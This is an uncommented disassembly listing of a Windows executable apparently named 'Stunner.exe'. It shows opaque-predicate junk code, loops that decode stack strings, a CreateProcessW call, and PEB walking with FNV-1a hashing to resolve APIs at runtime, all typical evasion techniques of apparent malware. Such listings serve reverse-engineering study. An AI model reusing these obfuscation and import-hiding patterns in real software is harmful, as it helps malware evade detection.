call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140058d30
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140058d30
mov dword [rsp + 0x88], 7
jmp 0x140058dcc
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140058dcc
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si eax, xmm0
mov dword [rsp + 0x88], eax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm8
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140058e84
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140058e84
mov dword [rsp + 0x78], 7
jmp 0x140058f1d
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140058f1d
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si eax, xmm0
mov dword [rsp + 0x78], eax
movsxd rcx, dword [rsp + 0x50]
movsxd rax, dword [rsp + 0x78]
mov rbx, qword [r14 + rcx*8 + 8]
and rbx, rax
add rbx, rbx
movsxd rcx, dword [rsp + 0x50]
movsxd rax, dword [rsp + 0x88]
mov rdx, qword [r14 + rcx*8 + 8]
add rdx, rax
sub rdx, rbx
movsxd rax, dword [rsp + 0x50]
mov qword [r14 + rax*8 + 8], rdx
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
movsx ecx, al
mov eax, ebx
imul eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140059288
mov eax, dword [rsp + 0x50]
sub eax, 0x67
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14005905c
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14005905c
mov dword [rsp + 0x74], 7
jmp 0x1400590f5
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400590f5
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si eax, xmm0
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x50]
sub eax, 0x67
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400591bb
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x1400591bb
mov dword [rsp + 0x6c], 7
jmp 0x140059254
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140059254
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si eax, xmm0
mov dword [rsp + 0x6c], eax
movsxd rcx, dword [rsp + 0x50]
movsxd rax, dword [rsp + 0x6c]
mov rbx, qword [r14 + rcx*8 + 8]
and rbx, rax
add rbx, rbx
movsxd rcx, dword [rsp + 0x50]
movsxd rax, dword [rsp + 0x74]
mov rdx, qword [r14 + rcx*8 + 8]
add rdx, rax
sub rdx, rbx
movsxd rax, dword [rsp + 0x50]
mov qword [r14 + rax*8 + 8], rdx
call fcn.140003780
movsx edi, al
call fcn.140003770
movsx ebx, al
call fcn.1400037a0
movsx edx, byte [0x14007d2e0]
imul edx, ebx
imul ebx, edx, 7
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, edi
add eax, ebx
add edx, eax
je 0x140059598
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14005937a
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14005937a
mov dword [rsp + 0x64], 7
jmp 0x140059413
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140059413
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si eax, xmm0
mov dword [rsp + 0x64], eax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400594cb
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x1400594cb
mov dword [rsp + 0x70], 7
jmp 0x140059564
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140059564
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si eax, xmm0
mov dword [rsp + 0x70], eax
movsxd rcx, dword [rsp + 0x50]
movsxd rax, dword [rsp + 0x70]
mov rdx, qword [r14 + rcx*8 + 8]
and rdx, rax
add rdx, rdx
movsxd rax, dword [rsp + 0x50]
mov rbx, qword [r14 + rax*8 + 8]
sub rbx, rdx
movsxd rax, dword [rsp + 0x64]
add rbx, rax
movsxd rax, dword [rsp + 0x50]
mov qword [r14 + rax*8 + 8], rbx
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
jmp 0x1400585e0
xor esi, esi
mov byte [r14], 1
mov r8, qword [r14 + 8]
xor edx, edx
lea rcx, [rsp + 0x1da0]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x1da0], 0x68
mov dword [rsp + 0x1ddc], 1
mov word [rsp + 0x1de0], si
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x15b0], xmm0
mov qword [rsp + 0x15c0], rax
lea rdx, [rsp + 0xf00]
lea rcx, [rsp + 0x1928]
call sym.Stunner.exe_class_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t_____cdecl_stw_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64_
nop
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140059c2f
mov byte [rsp + 0xf20], 0xc0
mov byte [rsp + 0xf21], 0xc1
mov byte [rsp + 0xf22], 0xc2
mov byte [rsp + 0xf23], 0xc3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xf24], xmm0
mov qword [rsp + 0xf34], rax
mov byte [rsp + 0xf3c], al
mov qword [rsp + 0x1688], rsi
mov rax, qword [rsp + 0x1688]
cmp rax, 0x1d
jae 0x1400596fd
mov rcx, qword [rsp + 0x1688]
mov rax, qword [rsp + 0x1688]
movzx edx, byte [rsp + rax + 0xf20]
add rcx, 0x11c60
movzx eax, cl
and al, dl
add al, al
sub cl, al
add cl, 0x60
add cl, dl
mov rax, qword [rsp + 0x1688]
mov byte [rsp + rax + 0xf20], cl
mov rax, qword [rsp + 0x1688]
inc rax
mov qword [rsp + 0x1688], rax
mov rax, qword [rsp + 0x1688]
cmp rax, 0x1d
jb 0x1400596a0
mov ebx, dword [rsp + 0xf20]
mov byte [rsp + 0xf40], 0xa6
mov byte [rsp + 0xf41], 0xa5
mov byte [rsp + 0xf42], 0xa4
mov byte [rsp + 0xf43], 0xab
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xf44], xmm0
mov word [rsp + 0xf54], ax
mov qword [rsp + 0x1688], rsi
mov rax, qword [rsp + 0x1688]
cmp rax, 0x16
jae 0x1400597b3
nop
mov rcx, qword [rsp + 0x1688]
mov rax, qword [rsp + 0x1688]
movzx edx, byte [rsp + rax + 0xf40]
movabs rax, 0xb380b3640664c665
add rcx, rax
movzx eax, cl
and al, dl
add al, al
sub cl, al
add cl, 0x3d
add cl, dl
mov rax, qword [rsp + 0x1688]
mov byte [rsp + rax + 0xf40], cl
mov rax, qword [rsp + 0x1688]
inc rax
mov qword [rsp + 0x1688], rax
mov rax, qword [rsp + 0x1688]
cmp rax, 0x16
jb 0x140059750
lea rcx, [rsp + 0x1928]
cmp qword [rsp + 0x1940], 7
cmova rcx, qword [rsp + 0x1928]
movsxd rax, dword [rsp + 0xf40]
lea rdx, [rcx + rax*2]
lea rax, [rsp + 0x15b0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x1da0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, rsi
test eax, eax
sete cl
xorps xmm2, xmm2
cvtsi2sd xmm2, rcx
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400598db
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x1400598db
mov ebx, 7
jmp 0x14005997c
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140059975
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si ebx, xmm0
jmp 0x14005997c
mov ebx, dword [rsp + 0x1554]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov ecx, edi
movsx eax, al
imul ecx, eax
lea edx, [rcx + rcx*4]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*2]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x140059c2d
call fcn.140003750
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx ebx, al
mov eax, edi
imul eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x1688], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140059ac3
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140059ac3
mov eax, 7
jmp 0x140059b64
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140059b5d
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x1688]
cvttsd2si eax, xmm0
jmp 0x140059b64
mov eax, dword [rsp + 0x1554]
xor esi, esi
cmp esi, eax
jge 0x140059c2f
mov byte [rsp + 0xf60], 0x66
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xf61], xmm0
mov qword [rsp + 0xf71], rax
mov word [rsp + 0xf79], ax
mov qword [rsp + 0x1688], rsi
mov rax, qword [rsp + 0x1688]
cmp rax, 0x1b
jae 0x140059c13
nop dword [rax]
mov rdx, qword [rsp + 0x1688]
mov rax, qword [rsp + 0x1688]
movzx ebx, byte [rsp + rax + 0xf60]
movabs rax, 0xa20f00fdf1f26171
add rdx, rax
movzx eax, bl
and al, dl
add al, al
sub bl, al
sub bl, 0x17
add bl, dl
mov rax, qword [rsp + 0x1688]
mov byte [rsp + rax + 0xf60], bl
mov rax, qword [rsp + 0x1688]
inc rax
mov qword [rsp + 0x1688], rax
mov rax, qword [rsp + 0x1688]
cmp rax, 0x1b
jb 0x140059bb0
lea rdx, [rsp + 0xf60]
lea rcx, [rsp + 0xf80]
call fcn.140001d00
jmp 0x14005a802
xor esi, esi
mov rbx, qword [0x14007d208]
test rbx, rbx
jne 0x140059e1b
mov r10d, esi
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rdi, r12
nop dword [rax]
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test r10d, r10d
je 0x140059cc0
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x5521a70
cmp rcx, r8
je 0x140059cb7
mov rbx, rcx
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
lea rcx, [rbx + 2]
mov rbx, rcx
cmp rcx, r8
jne 0x140059ca0
cmp edx, r10d
jne 0x140059df2
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r15, rcx
shr r15, 0x20
mov r11d, ecx
add r11, r9
cmp r11, r9
je 0x140059df2
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x140059df2
mov r14d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r14 + r8*4]
mov ecx, dword [rax + r9]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
mov ecx, 0x5521a70
test al, al
je 0x140059d49
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x140059d30
cmp ecx, dword [rsp + 0x98]
je 0x140059d5c
test r8d, r8d
jne 0x140059d00
jmp 0x140059df2
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov ebx, dword [rcx + rax*4]
add rbx, r9
cmp rbx, r11
jbe 0x140059d87
lea rax, [r11 + r15]
cmp rbx, rax
jae 0x140059d87
mov al, 1
jmp 0x140059d89
xor al, al
test al, al
je 0x140059e14
mov ecx, 0x5521a70
mov r10d, ecx
mov dword [rsp + 0x98], ecx
movzx eax, byte [rbx]
cmp al, 0x2e
je 0x140059dc7
nop word [rax + rax]
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
inc rbx
movzx eax, byte [rbx]
cmp al, 0x2e
jne 0x140059db0
inc rbx
movzx eax, byte [rbx]
cmp al, 0
je 0x140059dee
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov dword [rsp + 0x98], ecx
lea rbx, [rbx + 1]
movzx eax, byte [rbx]
test al, al
jne 0x140059dd1
mov rdi, qword [r12]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r12
je 0x140059e08
cmp qword [rax + 0x30], 0
je 0x140059e08
mov al, 1
jmp 0x140059e0a
xor al, al
test al, al
jne 0x140059c60
xor ebx, ebx
mov qword [0x14007d208], rbx
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x15b0]
call rbx
mov rdx, qword [0x14007d288]
xor r13d, r13d
test rdx, rdx
jne 0x14005a027
mov r10d, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rdi, r12
nop word [rax + rax]
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test r10d, r10d
je 0x140059ec0
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x5aa18ca0
cmp rcx, r8
je 0x140059eb7
mov rbx, rcx
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
lea rcx, [rbx + 2]
mov rbx, rcx
cmp rcx, r8
jne 0x140059ea0
cmp edx, r10d
jne 0x140059ffe
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r15, rcx
shr r15, 0x20
mov r11d, ecx
add r11, r9
cmp r11, r9
je 0x140059ffe
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x140059ffe
mov r14d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r14 + r8*4]
mov ecx, dword [rax + r9]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
mov ecx, 0x5aa18ca0
test al, al
je 0x140059f49
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x140059f30
cmp ecx, dword [rsp + 0x68]
je 0x140059f59
test r8d, r8d
jne 0x140059f00
jmp 0x140059ffe
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
cmp rdx, r11
jbe 0x140059f87
lea rax, [r11 + r15]
cmp rdx, rax
jae 0x140059f87
mov al, 1
jmp 0x140059f89
xor al, al
test al, al
je 0x14005a020
mov ecx, 0x5aa18ca0
